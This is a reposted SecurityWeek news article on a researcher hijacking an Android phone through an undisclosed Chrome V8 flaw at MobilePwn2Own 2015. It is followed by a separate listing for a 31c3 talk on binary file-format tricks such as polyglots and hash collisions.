Researcher Hijacks Android Phone via Chrome Vulnerability By SecurityWeek News on November 13, 2015 Over the past few months, Google has been busy squashing security vulnerabilities in its popular Android mobile operating system, but many remain undiscovered, and some can be easily exploited. Chinese researcher Guang Gong from Qihoo 360 demonstrated at MobilePwn2Own at the PacSec conference in Tokyo how an Android device running the latest version of the operating system can be hijacked by exploiting a JavaScript v8 vulnerability through the Chrome browser. Granted, the security flaw did not reside in the Android OS itself, but devices running on the platform are vulnerable. Gong discovered a JavaScript v8 vulnerability in Chrome for Android that allowed him to install an arbitrary application on the affected device, in this case a BMX Bike game, without requiring any user interaction, PacSec organizer Dragos Ruiu explained in a Google+ post. As long as Chrome is used to navigate to a malicious site an attacker set up, the device can be infected. The exploit was demonstrated on a Google Project Fi Nexus 6 running the latest Android 6.0 Marshmallow build and with all applications up-to-date. The researcher demonstrated that the vulnerability could provide an attacker with complete control of the device, and that successful exploitation does not require chaining multiple vulnerabilities. This one shot exploit was revealed after three-months of work, Ruiu said, but exact details on the security flaw were not publicly disclosed. According to Ruiu, the exploit was tested on other devices as well, and it worked on all of them. Given that the vulnerability is in the JavaScript engine in Chrome, it is believed to affect all Android versions with the latest version of the browser installed. Details on the vulnerability were handed to a Chrome engineer at the conference, Ruiu announced via Twitter. Unfortunately for Gong, his presentation at the conference did not result in an immediate reward for his efforts, though it is likely that Google will reward him for discovering the vulnerability, as the company has a bug bounty program set up for Chrome and Chrome OS. “Since we don't have any lavish prizes for him, I'm bringing him to Canada next year for some skiing/snowboarding at CanSecWest,” Ruiu said, so it seems that a prize will be coming from the PacSec organizers. Google will most likely resolve the vulnerability soon, even if the details on the exploit haven’t been made public as of now. Security researchers have discovered a series of critical Android vulnerabilities this year, including the Stagefright flaw that affected close to a billion devices, and a Stagefright 2 issue suspected to affect devices running all Android versions, starting with the initial release. Sursa: http://www.securityweek.com/researcher-hijacks-android-phone-chrome-vulnerability

[h=1]Funky File Formats [31c3][/h] Funky File Formats Advanced binary tricks Binary tricks to evade identification, detection, to exploit encryption and hash collisions. * artistic binaries - why they are possible, how they work. - quines - polyglots & chimeras - schizophrenic - AngeCryption - hash collisions * challenges and failures ?????????? ?Speaker: Ange Albertini ?EventID: 5930 ?Event: 31th Chaos Communication Congress [31c3] of the Chaos Computer Club [CCC] ?Location: Congress Centrum Hamburg (CCH); Am Dammtor; Marseiller Straße; 20355 Hamburg; Germany ?Language: english ?Begin: Mon, 12/29/2014 + ?License: CC-by